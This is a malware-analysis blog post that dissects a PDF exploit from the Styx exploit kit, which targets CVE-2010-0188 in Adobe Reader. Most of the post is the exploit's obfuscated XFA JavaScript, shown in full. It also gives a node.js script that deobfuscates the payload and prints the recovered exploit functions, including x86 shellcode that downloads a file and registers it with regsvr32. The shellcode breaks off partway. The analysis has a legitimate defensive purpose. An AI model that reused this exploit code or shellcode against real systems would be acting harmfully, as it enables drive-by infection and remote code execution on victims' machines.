Styx analysis - a peek inside the CVE-2010-0188 PDF

Back to the PDF I fetched from the Styx EK  the other day. Lets see what it got inside.

1. Overview of the XwYBSGiPQ.pdf

pdfid gives us an overview:

Lets fire up pyew:

Lets look at that stream:

pdfextract dumps objects, streams, scripts and so on for us:

$pdfextract XwYBSGiPQ.pdf

Nothing else but that stream we saw dumped.

2. Details of the PDF stream

<?xml version="1.0"?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/"><present><pdf>
<version>1.65</version><interactive>1</interactive><linearized>1</linearized></pdf><xdp><packets>*</packets></xdp><destination>pdf</destination></present></config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.5/">
<subform layout="tb" locale="en_US" name="ASsQulJ">
    <pageSet>
        <pageArea id="zUgwaCv" name="zUgwaCv">
            <contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
            <medium long="792pt" short="612pt" stock="default"/>
  </pageArea>
 </pageSet>
    <subform h="756pt" w="576pt" name="XgNBk">
        <field h="56mm" name="pgGzgu" w="85mm" x="53.6501mm" y="88.6499mm">
            <event activity="initialize" name="CQIkirHu">
                <script contentType="application/x-javascript">
                    var ZFDIxkYBA = 370;
ZFDIxkYBA+=10;



fGRdP=&quot;&quot;;
dTuOAK='MfSisX';if (dTuOAK=='Wbsid') Qqlxr();var xxnz='qxhn';

WDpZj = &quot;f\n\n noitcnusabocne_46e(ed\n{ )atad   46b rav  = GFEDCBA\&quot;JIHRQPONMLKUTScbaZYXWVfednmlkjihgqpoyxwvutsr10z98765432=/+v    \n;\&quot; ra ,2o ,1o,3o,2h ,1h 3h ib ,4h ,,st\n,0 = i     ca     0 =      \n,e  ,\&quot;\&quot; = cn  \nmt      a_p;][ = rr\n \n{ od      \n1o       = ahc.atadoCr++i(tAed\n;)         2oc.atad =rahi(tAedoC)++      \n;o  atad = 3hc.tAedoCra+i(  \n \n;)+    stib   o = 61 &lt;&lt; 1o || 8 &lt;&lt; 23o     \n \n;   ib = 1h  st &amp; 81 &gt;&gt;3x0     \n;f   tib = 2h&gt; s0 &amp; 21 &gt;f3x      \n;h  stib = 3&gt;&gt; 3x0 &amp; 6 \n;f         4h&amp; stib =x0    \n\n;f3   ra_pmt  a[rb = ]++c.46h(tArahc )1hc.46b +Ara + )2h(t46b(tArahc.)3hc.46b + rah\n;)4h(tA   elihw } i( .atad &lt; nel\n \n;)htg   t = cne _pmnioj.rra''(   \n \n;)er cne nrut}\n;oitcnuf\ng n)(rev_te \n{a rav   _pppa = revv.preVreweioisirtSot.n(gna    \n;)_pppa = revv_palper.re(ec)'' ,'.' \n;elihw   pa(el.rev_ptgn\n{)4 &lt; h   ppa     ev_'0' =+ r \n;er\t\n}   rutIesrap n(tn,rev_ppa01 nuf\n}\n;)itc(worg nodob{)nel ,y  \n(elihw  dobhtgnel.y &lt;   \n{)nel    ydob    =+  \n;ydob}  ter    \nnruus.ydob tsb ,0(gnirnelnuf\n}\n;)itc)(nur no\t\n{_lru ravravPdRGf =  + x\\30=h&amp;\&quot;\&quot;00llehs\t\n; = Ox\\8Ex\\\&quot;x\\Ox\\OOx\\OO\\00\\38x\\D5xDEx13x\\5Ox\\Cx\\8x\\46x\\9x\\Bx\\O3x\\17\\B8\\COx\\67xB8xC1x\\67x\\8x\\Ox\\64x\\Bx\\8x\\E7x\\B8\\O2\\63x\\B8x66xF4x\\93x\\1x\\Fx\\57x\\8x\\2x\\FEx\\EB\\OO\\OOx\\OOx1OxFBx\\EEx\\Cx\\Ox\\0Ox\\Fx\\0x\\10x\\00\\FE\\08x\\8Ex10x00x\\00x\\8x\\8x\\AEx\\9x\\1x\\FEx\\2C\\00\\00x\\00x25x08x\\86x\\0x\\0x\\00x\\0x\\0x\\59x\\FF\\FC\\00x\\00x00xAEx\\98x\\8x\\Ex\\2Cx\\1x\\Fx\\00x\\00\\00\\6Fx\\13x10xA8x\\2Cx\\9x\\0x\\53x\\Cx\\0x\\00x\\20\\OO\\BFx\\O8xO0x60x\\47x\\8x\\3x\\C1x\\8x\\2x\\BEx\\64\\EE\\40x\\6Cx23x98x\\00x\\Ex\\Cx\\18x\\Ax\\2x\\10x\\2E\\00\\25x\\00xFFx3Dx\\59x\\0x\\0x\\00x\\0x\\0x\\AEx\\98\\18\\DEx\\2Cx10x00x\\00x\\5x\\Fx\\05x\\2x\\Fx\\7Dx\\59\\00\\00x\\00xA6xA6x\\00x\\0x\\Ex\\98x\\0x\\Ax\\2Cx\\18\\FE\\00x\\00x00x98x\\25x\\Ex\\Cx\\18x\\Ax\\2x\\20x\\B0\\00\\25x\\00xA6xFFx\\00x\\Dx\\0x\\A6x\\0x\\5x\\AEx\\98\\18\\FEx\\2Cx00x00x\\00x\\5x\\9x\\FFx\\2x\\5x\\00x\\BD\\00\\A6x\\00x50xAEx\\98x\\8x\\Ex\\2Cx\\1x\\3x\\00x\\00\\00\\FFx\\25x59x00x\\BDx\\0x\\6x\\00x\\0x\\Ax\\FFx\\00\\59\\00x\\FDx00x00x\\00x\\0x\\0x\\00x\\0x\\0x\\00x\\00\\00\\00x\\00x00x00x\\00x\\0x\\0x\\00x\\0x\\0x\\00x\\00\\00\\00x\\00x27x76x\\56x\\7x\\7x\\67x\\3x\\2x\\23x\\33\\02\\37x\\D2x02x56x\\74x\\7x\\6x\\45x\\4x\\5x\\07x\\D6\\05\\47x\\16x86x00x\\14x\\4x\\6x\\F6x\\Cx\\1x\\C4x\\46\\96\\27x\\26x16x97x\\27x\\4x\\4x\\00x\\1x\\7x\\47x\\56\\05\\F6x\\27x36x46x\\14x\\6x\\6x\\27x\\4x\\5x\\37x\\37\\00\\96x\\75xE6x87x\\54x\\6x\\0x\\36x\\5x\\0x\\87x\\54\\96\\05x\\47x27x36x\\F6x\\6x\\7x\\37x\\5x\\3x\\BBx\\00\\98\\98x\\2Fx7Fx0Cx\\03x\\Ax\\Fx\\57x\\Ex\\Dx\\7Fx\\92\\98\\13x\\9Fx0CxC3x\\EBx\\0x\\0x\\00x\\0x\\0x\\5Bx\\30\\8B\\00x\\10x00xDAx\\66x\\0x\\Bx\\58x\\3x\\8x\\00x\\10\\00\\07x\\B8x87x6Cx\\38x\\1x\\Bx\\30x\\Cx\\5x\\10x\\8B\\00\\D8x\\00xDBx10x\\CBx\\0x\\Ax\\00x\\0x\\Dx\\58x\\30\\8B\\00x\\10x00xDAx\\BAx\\0x\\Bx\\58x\\3x\\8x\\00x\\10\\00\\BAx\\05xDAx58x\\3Ox\\Bx\\Ox\\1Ox\\8x\\Ox\\BAx\\OO\\E5\\BDx\\13xDAx30x\\65x\\8x\\0x\\8Bx\\5x\\1x\\00x\\00\\98\\98x\\6Cx7DxCFx\\15x\\Fx\\5x\\6Ax\\3x\\9x\\40x\\47\\E5\\BEx\\34x9Ex39x\\E5x\\Dx\\0x\\0Ex\\1x\\3x\\4Cx\\58\\10\\00x\\00x13x69x\\6Fx\\6x\\Cx\\DAx\\6x\\1x\\20x\\0E\\30\\CBx\\58x10x00x\\00x\\8x\\Ax\\6Cx\\9x\\Dx\\58x\\30\\8B\\00x\\10x00xBEx\\3Cx\\1x\\0x\\00x\\0x\\0x\\00x\\00\\00\\00x\\00x00x00x\\00x\\0x\\0x\\00x\\0x\\0x\\00x\\00\\00\\58x\\98x8Bx00x\\10x\\0x\\5x\\65x\\0x\\7x\\85x\\8E\\FF\\FFx\\FFxF5xBAx\\E5x\\0x\\8x\\ECx\\1x\\0x\\BBx\\E3\\47\\BEx\\20xDEx55x\\3Cx\\5x\\4x\\C4x\\2x\\Dx\\E4x\\F4\\E2\\C4x\\44xC4x55x\\00x\\5x\\4x\\C4x\\2x\\4x\\77x\\F6\\E6\\F6x\\C6x16x45x\\46x\\6x\\6x\\64x\\Fx\\9x\\56x\\C6\\14\\55x\\00x37x27x\\56x\\3x\\2x\\23x\\3x\\Ex\\87x\\56\\56s\t\n;\&quot;00xlehlru =+ lav_lihw\t\n;r( eel.llehstgn4401 &lt; hs ) =+ llehx\\\&quot;hs\t\n;\&quot;00lle6esab = e_4hs(edocnlle   \n\t\n;)fi rev_teg( )({)0009 &lt;  \nne      t_do\&quot; = ffiAu+a6x\\35x\\ggg/KB4Lupk///4x\\AAAw/AB1AAAAAAAAAAAAAAA15x\\4x\\B14x\\AA1AeR\\WBi35x\\86x4YPo54x\\oKBx\\14x\\u+j35x\\gg14x\\qb6KBI75x\\v5x\\S14x\\yV8AYi14x\\AAAAAAAAAA14x\\Ax\\A\\BBAAA1415x\\Q24x\\FU55xUQQ24x\\F5x\\q07x\\Eg8mVaB2EEe4x\\UgS4x\\76x\\X0p5\\e4x\\SAJd4x76x\\SBOFgXU4x\\p54x\\\\Q224x\\F55x6x\\TtEpzzA56x\\x\\f6x\\U7F34x\\b4x\\B4U15\\TQB64x\\84xxtIZa4x\\4x\\4x\\D2tId2t9CutI84x\\GtI6x\\Z2sIIx\\aiyXHGIc68U0\\HAeFQ1i17x\\gI396x\\14x4x\\Uyx4eAt74x\\96x\\eCGc\\94x\\BYt84x46x\\DS57X3/a47x\\YSv4x\\MsoZrHAat4Sx\\ArHAHay97x\\e96x\\Lqa5FW9/28PB7x\\4EY911K7x\\StXHAqk55\\jlta4x\\84x\\PQ\&quot;==Qpa7x \n;sle }   { e       \nne = ffit_d\\\&quot; x\\A+Bb6xj3515x\\96x\\6x\\f907x\\E8x\\o/////K24x\\w4x\\AAA14AA2\\14x\\AAA14xAAQAAAAAAAAW07x\\AAAx\\O\\96x\\S1414xx\\b6x\\iJW17A+BkKBYI5x\\4x\\a6x\\3x\\3x\\YrEh15407uajb4x\\BiSA\\14x\\AAY14xA14x\\AAAAAA14x\\AAAA4x\\BFUQBBA1FUQpEgjVaQB7x\\Nd6x\\Va1W7MpEgjVqSAAJ0u0Te4x\\Sx\\Cj65x\\q356x\\44x\\4pE7kOP\\JqSC6gIa6x15x\\BpEgx\\U\\M24x\\6436x54x\\3ikl3iw6x\\Y3iMY2i3Y0i94x\\4zig\\Uf4x\\mZ76xLKfd95x\\5x\\Vc4x\\yT24VAcLqe14x\\\\Ai\\JHj724x15x4x\\016x\\I6276x\\1KYsfgE\\d/3NIlv56xo1ia4x\\9eAk1iLxwimt\\co4x\\se14xIL4\\/Eom5Jua7xXrAXY1/b5x\\SSJhTg186x\\6x\\14x\\fx\\46x\\MW256x\\3/14x\\1d6\&quot;lO\n}    \n;    = ffit US\&quot;AAggDAqk\&quot;QC(worg + UQ'002 ,'BF )0 llehs +g +CJk'(wor,'Q\n;)2957    =+ ffit k\&quot; ADEAAAcAAEAAAAIwAAAEQAAAAAEAADAABAADEwAAAAAEBAAAABAADEgBAAAAEAAAAAEAAEEQEAAAAwFAAAAIAAEEIwAAAAEAAAAAwMADEAUCAAAAAAAAISAAA///jADMA\&quot;//fit_dne+\n;fzGgp    .ugeulaVwar = \n}\n;ffitnur(\n;)\n&quot;;
var KgYZ='UnqS';dXeb='tlli';if (dXeb=='BPbFBV') Yvseg='RHcwt';var JiLFEw;
function PJurKUSv(skImfAh,cYzOyPnWt){cYzOyPnWt=cYzOyPnWt.toString();var rWPjuC=&quot;&quot;;var NqEdBYHxb=0;var rOXMsWL=parseInt;for(var i=0;i&lt;skImfAh.length;i++){if((skImfAh.length-i)&gt;=rOXMsWL(cYzOyPnWt.substring(NqEdBYHxb,NqEdBYHxb+1))){for(var i2=i+rOXMsWL(cYzOyPnWt.substring(NqEdBYHxb,NqEdBYHxb+1))+(3-5+1);i2&gt;=i;i2--){rWPjuC+=skImfAh.substring(i2,i2+1);}
i+=rOXMsWL(cYzOyPnWt.substring(NqEdBYHxb,NqEdBYHxb+1))-1;}
else{rWPjuC+=skImfAh.substring(i,i+1);}
NqEdBYHxb++;if(NqEdBYHxb&gt;cYzOyPnWt.length-1){if(NqEdBYHxb!=0)NqEdBYHxb=0;};}
if('kjELBq'=='pMJTc')MIikf();var yCRIn=28;function RXNq(){var dMFUNM='psgyT';if('lnkl'=='efrtju')flNQ();}
app.ZlPhsSeh=rWPjuC;var vuub;function QemqN(){var BSVkx='lKMeKr';if('ANWSSM'=='csYStq')VkeY();}}
var jgjS=47;gWJfmC='Xdvz';if (gWJfmC=='rxQSZ') vUtQDG='TFUs';UZcchX='luvbm';if (UZcchX=='lwxtv') yBEo();

function nUjlj(){}var SolyOF=45;
var pgJpC=xfa.host.numPages;
var TrrE=pgJpC;
var jQDAf = 380-(24%11)+TrrE;
PJurKUSv(WDpZj, jQDAf );
var VKwDSciC = &quot;kSVIeYsh&quot;
jChLB='cKAKS';if (jChLB=='bNJDYH') IQgOkG();var JkFxZW=84;var otAfk='HHFBDb';
var leEpPOjDG='';
var lMybUHrE='rOfeKlvuaUGOQniDqlshIM';
leEpPOjDG += lMybUHrE[3];
leEpPOjDG += lMybUHrE[7];
leEpPOjDG += lMybUHrE[6];
leEpPOjDG += lMybUHrE[8];
leEpPOjDG += lMybUHrE[5];

var kPvi;function cjcXAF(){}
leEpPOjDG = leEpPOjDG.replace(&quot;u&quot;, &quot;&quot;);
FDBpuw = (&quot;rkwUNvPk&quot;)[(VKwDSciC, leEpPOjDG)];
var tAKsEWbR = 'ZlPhsSeh';
var eCDTQ;function fyDCU(){var rwxjqk='MQbZRR';PgEBl='gKaPG';if (PgEBl=='xgzqD') YPGO();}
tAKsEWbR='aps3p.'+tAKsEWbR;
tAKsEWbR=tAKsEWbR.replace(&quot;ps3p&quot;, &quot;pp&quot;);
function pnOkXH(){}var QhSRcq=207;LMunyk='MJKv';if (LMunyk=='obONp') nubS();function oHdY(){var jtAav='CHno';uqCo='ZRZIA';if (uqCo=='ivBaPl') LMIRgd();}
var Itdzqqjus='';
var DjQdjGRE='mWvuzaYFRi.JjpeazHuBcsbHyVIlHp';
Itdzqqjus += DjQdjGRE[5];
Itdzqqjus += DjQdjGRE[13];
Itdzqqjus += DjQdjGRE[13];
Itdzqqjus += DjQdjGRE[10];
Itdzqqjus += DjQdjGRE[14];
Itdzqqjus += DjQdjGRE[2];
Itdzqqjus += DjQdjGRE[5];
Itdzqqjus += DjQdjGRE[27];

muCeJ='KcsrI';if (muCeJ=='hIio') URWv();function OOlYW(){}
FDBpuw(Itdzqqjus+'('+tAKsEWbR+');');
var ktPFXS;var RNdp;var pBanA='xeeH';

                </script>
                </event>
    <ui> 
                    <imageEdit/>
                </ui>
            </field>
        </subform>
    </subform>
</template>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" accessibleContent="1" change="1" contentCopy="1" documentAssembly="1" formFieldFilling="1" metadata="1" modifyAnnots="1" print="1" printHighQuality="1"/>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><ASsQulJ><pgGzgu>Fbeivlcysllwk</pgGzgu></ASsQulJ></xfa:data></xfa:datasets>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"><annots/></xfdf>
<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/" />
</xdp:xdp>

Ok so we are dealing with a JavaScript. Lets clean it up, simplify and prepare it for node-js:

malforsec1 = ""; //set string for output

WDpZj = "f\n\n noitcnusabocne_46e(ed\n{ )atad   46b rav  = GFEDCBA\"JIHRQPONMLKUTScbaZYXWVfednmlkjihgqpoyxwvutsr10z98765432=/+v    \n;\" ra ,2o ,1o,3o,2h ,1h 3h ib ,4h ,,st\n,0 = i     ca     0 =      \n,e  ,\"\" = cn  \nmt      a_p;][ = rr\n \n{ od      \n1o       = ahc.atadoCr++i(tAed\n;)         2oc.atad =rahi(tAedoC)++      \n;o  atad = 3hc.tAedoCra+i(  \n \n;)+    stib   o = 61 << 1o || 8 << 23o     \n \n;   ib = 1h  st & 81 >>3x0     \n;f   tib = 2h> s0 & 21 >f3x      \n;h  stib = 3>> 3x0 & 6 \n;f         4h& stib =x0    \n\n;f3   ra_pmt  a[rb = ]++c.46h(tArahc )1hc.46b +Ara + )2h(t46b(tArahc.)3hc.46b + rah\n;)4h(tA   elihw } i( .atad < nel\n \n;)htg   t = cne _pmnioj.rra''(   \n \n;)er cne nrut}\n;oitcnuf\ng n)(rev_te \n{a rav   _pppa = revv.preVreweioisirtSot.n(gna    \n;)_pppa = revv_palper.re(ec)'' ,'.' \n;elihw   pa(el.rev_ptgn\n{)4 < h   ppa     ev_'0' =+ r \n;er\t\n}   rutIesrap n(tn,rev_ppa01 nuf\n}\n;)itc(worg nodob{)nel ,y  \n(elihw  dobhtgnel.y <   \n{)nel    ydob    =+  \n;ydob}  ter    \nnruus.ydob tsb ,0(gnirnelnuf\n}\n;)itc)(nur no\t\n{_lru ravravPdRGf =  + x\\30=h&\"\"00llehs\t\n; = 0x\\8Ex\\\"x\\0x\\00x\\00\\OO\\38x\\D5xDEx13x\\50x\\Cx\\8x\\46x\\9x\\Bx\\03x\\17\\B8\\C0x\\67xB8xC1x\\67x\\8x\\0x\\64x\\Bx\\8x\\E7x\\B8\\02\\63x\\B8x66xF4x\\93x\\1x\\Fx\\57x\\8x\\2x\\FEx\\EB\\00\\00x\\00x10xFBx\\EEx\\Cx\\0x\\00x\\Fx\\0x\\10x\\00\\FE\\08x\\8Ex10x00x\\00x\\8x\\8x\\AEx\\9x\\1x\\FEx\\2C\\00\\00x\\00x25x08x\\86x\\0x\\0x\\00x\\0x\\0x\\59x\\FF\\FC\\00x\\00x00xAEx\\98x\\8x\\Ex\\2Cx\\1x\\Fx\\00x\\00\\00\\6Fx\\13x10xA8x\\2Cx\\9x\\0x\\53x\\Cx\\0x\\00x\\20\\00\\BFx\\08x00x60x\\47x\\8x\\3x\\C1x\\8x\\2x\\BEx\\64\\EE\\4Ox\\6Cx23x98x\\00x\\Ex\\Cx\\18x\\Ax\\2x\\10x\\2E\\00\\25x\\00xFFx3Dx\\59x\\0x\\0x\\00x\\0x\\0x\\AEx\\98\\18\\DEx\\2Cx10x00x\\00x\\5x\\Fx\\05x\\2x\\Fx\\7Dx\\59\\00\\00x\\00xA6xA6x\\00x\\0x\\Ex\\98x\\0x\\Ax\\2Cx\\18\\FE\\00x\\00x00x98x\\25x\\Ex\\Cx\\18x\\Ax\\2x\\20x\\B0\\00\\25x\\00xA6xFFx\\00x\\Dx\\0x\\A6x\\0x\\5x\\AEx\\98\\18\\FEx\\2Cx00x00x\\00x\\5x\\9x\\FFx\\2x\\5x\\00x\\BD\\00\\A6x\\00x50xAEx\\98x\\8x\\Ex\\2Cx\\1x\\3x\\00x\\00\\00\\FFx\\25x59x00x\\BDx\\0x\\6x\\00x\\0x\\Ax\\FFx\\00\\59\\00x\\FDx00x00x\\00x\\0x\\0x\\00x\\0x\\0x\\00x\\00\\00\\00x\\00x00x00x\\00x\\0x\\0x\\00x\\0x\\0x\\00x\\00\\00\\00x\\00x27x76x\\56x\\7x\\7x\\67x\\3x\\2x\\23x\\33\\02\\37x\\D2x02x56x\\74x\\7x\\6x\\45x\\4x\\5x\\07x\\D6\\05\\47x\\16x86x00x\\14x\\4x\\6x\\F6x\\Cx\\1x\\C4x\\46\\96\\27x\\26x16x97x\\27x\\4x\\4x\\00x\\1x\\7x\\47x\\56\\05\\F6x\\27x36x46x\\14x\\6x\\6x\\27x\\4x\\5x\\37x\\37\\00\\96x\\75xE6x87x\\54x\\6x\\0x\\36x\\5x\\0x\\87x\\54\\96\\05x\\47x27x36x\\F6x\\6x\\7x\\37x\\5x\\3x\\BBx\\OO\\98\\98x\\2Fx7Fx0Cx\\03x\\Ax\\Fx\\57x\\Ex\\Dx\\7Fx\\92\\98\\13x\\9Fx0CxC3x\\EBx\\0x\\0x\\00x\\0x\\0x\\5Bx\\30\\8B\\00x\\10x00xDAx\\66x\\0x\\Bx\\58x\\3x\\8x\\00x\\10\\00\\07x\\B8x87x6Cx\\38x\\1x\\Bx\\30x\\Cx\\5x\\10x\\8B\\00\\D8x\\00xDBx10x\\CBx\\0x\\Ax\\00x\\0x\\Dx\\58x\\30\\8B\\00x\\10x00xDAx\\BAx\\0x\\Bx\\58x\\3x\\8x\\00x\\10\\00\\BAx\\05xDAx58x\\30x\\Bx\\0x\\10x\\8x\\0x\\BAx\\00\\E5\\BDx\\13xDAx30x\\65x\\8x\\0x\\8Bx\\5x\\1x\\00x\\00\\98\\98x\\6Cx7DxCFx\\15x\\Fx\\5x\\6Ax\\3x\\9x\\4Ox\\47\\E5\\BEx\\34x9Ex39x\\E5x\\Dx\\0x\\0Ex\\1x\\3x\\4Cx\\58\\10\\00x\\00x13x69x\\6Fx\\6x\\Cx\\DAx\\6x\\1x\\20x\\0E\\30\\CBx\\58x10x00x\\00x\\8x\\Ax\\6Cx\\9x\\Dx\\58x\\30\\8B\\00x\\10x00xBEx\\3Cx\\1x\\0x\\OOx\\0x\\0x\\00x\\00\\00\\00x\\00x00x00x\\00x\\0x\\0x\\00x\\0x\\0x\\00x\\00\\00\\58x\\98x8Bx00x\\10x\\0x\\5x\\65x\\0x\\7x\\85x\\8E\\FF\\FFx\\FFxF5xBAx\\E5x\\0x\\8x\\ECx\\1x\\0x\\BBx\\E3\\47\\BEx\\20xDEx55x\\3Cx\\5x\\4x\\C4x\\2x\\Dx\\E4x\\F4\\E2\\C4x\\44xC4x55x\\00x\\5x\\4x\\C4x\\2x\\4x\\77x\\F6\\E6\\F6x\\C6x16x45x\\46x\\6x\\6x\\64x\\Fx\\9x\\56x\\C6\\14\\55x\\00x37x27x\\56x\\3x\\2x\\23x\\3x\\Ex\\87x\\56\\56s\t\n;\"OOxlehlru =+ lav_lihw\t\n;r( eel.llehstgn4401 < hs ) =+ llehx\\\"hs\t\n;\"00lle6esab = e_4hs(edocnlle   \n\t\n;)fi rev_teg( )({)0009 <  \nne      t_do\" = ffiAu+a6x\\35x\\ggg/KB4Lupk///4x\\AAAw/AB1AAAAAAAAAAAAAAA15x\\4x\\B14x\\AA1AeR\\WBi35x\\86x4YPo54x\\oKBx\\14x\\u+j35x\\gg14x\\qb6KBI75x\\v5x\\S14x\\yV8AYi14x\\AAAAAAAAAA14x\\Ax\\A\\BBAAA1415x\\Q24x\\FU55xUQQ24x\\F5x\\q07x\\Eg8mVaB2EEe4x\\UgS4x\\76x\\X0p5\\e4x\\SAJd4x76x\\SBOFgXU4x\\p54x\\\\Q224x\\F55x6x\\TtEpzzA56x\\x\\f6x\\U7F34x\\b4x\\B4U15\\TQB64x\\84xxtIZa4x\\4x\\4x\\D2tId2t9CutI84x\\GtI6x\\Z2sIIx\\aiyXHGIc68U0\\HAeFQ1i17x\\gI396x\\14x4x\\Uyx4eAt74x\\96x\\eCGc\\94x\\BYt84x46x\\DS57X3/a47x\\YSv4x\\MsoZrHAat4Sx\\ArHAHay97x\\e96x\\Lqa5FW9/28PB7x\\4EY911K7x\\StXHAqk55\\jlta4x\\84x\\PQ\"==Qpa7x \n;sle }   { e       \nne = ffit_d\\\" x\\A+Bb6xj3515x\\96x\\6x\\f907x\\E8x\\o/////K24x\\w4x\\AAA14AA2\\14x\\AAA14xAAQAAAAAAAAW07x\\AAAx\\O\\96x\\S1414xx\\b6x\\iJW17A+BkKBYI5x\\4x\\a6x\\3x\\3x\\YrEh15407uajb4x\\BiSA\\14x\\AAY14xA14x\\AAAAAA14x\\AAAA4x\\BFUQBBA1FUQpEgjVaQB7x\\Nd6x\\Va1W7MpEgjVqSAAJ0u0Te4x\\Sx\\Cj65x\\q356x\\44x\\4pE7kOP\\JqSC6gIa6x15x\\BpEgx\\U\\M24x\\6436x54x\\3ikl3iw6x\\Y3iMY2i3Y0i94x\\4zig\\Uf4x\\mZ76xLKfd95x\\5x\\Vc4x\\yT24VAcLqe14x\\\\Ai\\JHj724x15x4x\\016x\\I6276x\\1KYsfgE\\d/3NIlv56xo1ia4x\\9eAk1iLxwimt\\co4x\\se14xIL4\\/Eom5Jua7xXrAXY1/b5x\\SSJhTg186x\\6x\\14x\\fx\\46x\\MW256x\\3/14x\\1d6\"lO\n}    \n;    = ffit US\"AAggDAqk\"QC(worg + UQ'002 ,'BF )0 llehs +g +CJk'(wor,'Q\n;)2957    =+ ffit k\" ADEAAAcAAEAAAAIwAAAEQAAAAAEAADAABAADEwAAAAAEBAAAABAADEgBAAAAEAAAAAEAAEEQEAAAAwFAAAAIAAEEIwAAAAEAAAAAwMADEAUCAAAAAAAAISAAA///jADMA\"//fit_dne+\n;fzGgp    .ugeulaVwar = \n}\n;ffitnur(\n;)\n";

function PJurKUSv(skImfAh, cYzOyPnWt) {
    cYzOyPnWt = cYzOyPnWt.toString();
    var rWPjuC = "";
    var NqEdBYHxb = 0;
    var rOXMsWL = parseInt;
    for (var i = 0; i < skImfAh.length; i++) {
        if ((skImfAh.length - i) >= rOXMsWL(cYzOyPnWt.substring(NqEdBYHxb, NqEdBYHxb + 1))) {
            for (var i2 = i + rOXMsWL(cYzOyPnWt.substring(NqEdBYHxb, NqEdBYHxb + 1)) + (3 - 5 + 1); i2 >= i; i2--) {
                rWPjuC += skImfAh.substring(i2, i2 + 1);
            }
            i += rOXMsWL(cYzOyPnWt.substring(NqEdBYHxb, NqEdBYHxb + 1)) - 1;
        } else {
            rWPjuC += skImfAh.substring(i, i + 1);
        }
        NqEdBYHxb++;
        if (NqEdBYHxb > cYzOyPnWt.length - 1) {
            if (NqEdBYHxb != 0) NqEdBYHxb = 0;
        };
    }
//    app.ZlPhsSeh = rWPjuC; @malforsec app is PDF specific
    malforsec1 = rWPjuC;

}

var pgJpC = 2; //@malforsec Numpages = 2
var TrrE = pgJpC;
var jQDAf = 380 - (24 % 11) + TrrE;

PJurKUSv(WDpZj, jQDAf); //@malforsec call the string manipulation

var VKwDSciC = "kSVIeYsh"

var leEpPOjDG = '';
var lMybUHrE = 'rOfeKlvuaUGOQniDqlshIM'; // @malforsec euval -> replace("u","") -> eval
leEpPOjDG += lMybUHrE[3];
leEpPOjDG += lMybUHrE[7];
leEpPOjDG += lMybUHrE[6];
leEpPOjDG += lMybUHrE[8];
leEpPOjDG += lMybUHrE[5];

leEpPOjDG = leEpPOjDG.replace("u", "");
FDBpuw = ("rkwUNvPk")[(VKwDSciC, leEpPOjDG)];
var tAKsEWbR = 'ZlPhsSeh';

tAKsEWbR = 'aps3p.' + tAKsEWbR;
tAKsEWbR = tAKsEWbR.replace("ps3p", "pp"); //@malforsec -> app.

var Itdzqqjus = '';
var DjQdjGRE = 'mWvuzaYFRi.JjpeazHuBcsbHyVIlHp'; //@malforsec app.eval
Itdzqqjus += DjQdjGRE[5];
Itdzqqjus += DjQdjGRE[13];
Itdzqqjus += DjQdjGRE[13];
Itdzqqjus += DjQdjGRE[10];
Itdzqqjus += DjQdjGRE[14];
Itdzqqjus += DjQdjGRE[2];
Itdzqqjus += DjQdjGRE[5];
Itdzqqjus += DjQdjGRE[27];

console.log(malforsec1); //@malforsec console.log instead of eval

Nicer output on this run:

function base64_encode(data) {
    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
        ac = 0,
        enc = "",
        tmp_arr = [];
 
    do {
        o1 = data.charCodeAt(i++);
        o2 = data.charCodeAt(i++);
        o3 = data.charCodeAt(i++);
 
        bits = o1 << 16 | o2 << 8 | o3;
 
        h1 = bits >> 18 & 0x3f;
        h2 = bits >> 12 & 0x3f;
        h3 = bits >> 6 & 0x3f;
        h4 = bits & 0x3f;

        tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
    } while (i < data.length);
 
    enc = tmp_arr.join('');
 
    return enc;
}
function get_ver(){
    var app_ver = app.viewerVersion.toString();
    app_ver = app_ver.replace('.', '');
    while(app_ver.length < 4){
        app_ver += '0';
    }
 return parseInt(app_ver, 10);
}
function grow(body, len){
    while(body.length < len){
        body += body;
    }
    return body.substring(0, len);
}
function run(){
 var url_var = fGRdP + "&h=03\x00";
 shell = "\xE8\x00\x00\x00\x00\x5D\x83\xED\x05\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75\xF2\xBE\xEF\x00\x00\x00\x01\xEE\xBF\xCF\x00\x00\x00\x01\xEF\xE8\x80\x01\x00\x00\x89\xEA\x81\xC2\xEF\x00\x00\x00\x52\x68\x80\x00\x00\x00\xFF\x95\xCF\x00\x00\x00\x89\xEA\x81\xC2\xEF\x00\x00\x00\x31\xF6\x01\xC2\x8A\x9C\x35\x00\x02\x00\x00\x80\xFB\x00\x74\x06\x88\x1C\x32\x46\xEB\xEE\xC6\x04\x32\x00\x89\xEA\x81\xC2\xE2\x01\x00\x00\x52\xFF\x95\xD3\x00\x00\x00\x89\xEA\x81\xC2\xED\x01\x00\x00\x52\x50\xFF\x95\xD7\x00\x00\x00\x6A\x00\x6A\x00\x89\xEA\x81\xC2\xEF\x00\x00\x00\x52\x89\xEA\x81\xC2\x0B\x02\x00\x00\x52\x6A\x00\xFF\xD0\x6A\x05\x89\xEA\x81\xC2\xEF\x00\x00\x00\x52\xFF\x95\xDB\x00\x00\x00\x6A\x05\x89\xEA\x81\xC2\xE3\x00\x00\x00\x52\xFF\x95\xDB\x00\x00\x00\x6A\x00\xFF\x95\xDF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x72\x65\x67\x73\x76\x72\x33\x32\x20\x2D\x73\x20\x47\x65\x74\x54\x65\x6D\x70\x50\x61\x74\x68\x41\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x57\x69\x6E\x4